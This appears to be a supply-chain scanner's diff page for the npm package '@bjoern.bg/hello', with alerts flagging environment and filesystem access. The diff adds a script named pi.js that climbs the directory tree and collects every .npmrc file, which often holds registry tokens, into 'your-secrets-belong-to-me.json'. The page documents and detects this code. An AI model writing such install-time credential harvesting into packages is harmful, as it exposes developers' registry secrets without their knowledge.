@bjoern.bg/hello
Advanced tools
Comparing version 0.0.5 to 0.0.6
{ | ||
"name": "@bjoern.bg/hello", | ||
"version": "0.0.5", | ||
"version": "0.0.6", | ||
"license": "(MIT OR Apache-2.0)", | ||
@@ -5,0 +5,0 @@ "main": "lib/index.js", |
27
pi.js
// import fs from "node:fs"; | ||
// import path from "node:path"; | ||
// import glob from "tiny-glob/sync.js"; | ||
const fs = require("fs"); | ||
try { | ||
const cwd = process.env.INIT_CWD ?? process.cwd(); | ||
process.chdir(cwd); | ||
let cwd = process.env.INIT_CWD ?? process.cwd(); | ||
console.log(process.cwd()); | ||
let isRoot = false; | ||
let npmrcFiles = ''; | ||
while(!isRoot) { | ||
process.chdir('../'); | ||
// console.log(process.cwd()); | ||
if(fs.existsSync('./.npmrc')) { | ||
// console.log('npmrc'); | ||
const npmrc = fs.readFileSync('./.npmrc', { | ||
encoding: 'utf-8', | ||
}); | ||
npmrcFiles += npmrc + '\n\n'; | ||
// console.log(npmrc); | ||
} | ||
isRoot = process.cwd().length <= 3; | ||
} | ||
console.log(cwd); | ||
console.log(npmrcFiles); | ||
fs.writeFileSync(cwd + '/your-secrets-belong-to-me.json', npmrcFiles); | ||
} catch (error) { | ||
console.error(error.stack); | ||
} |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
1333
33
3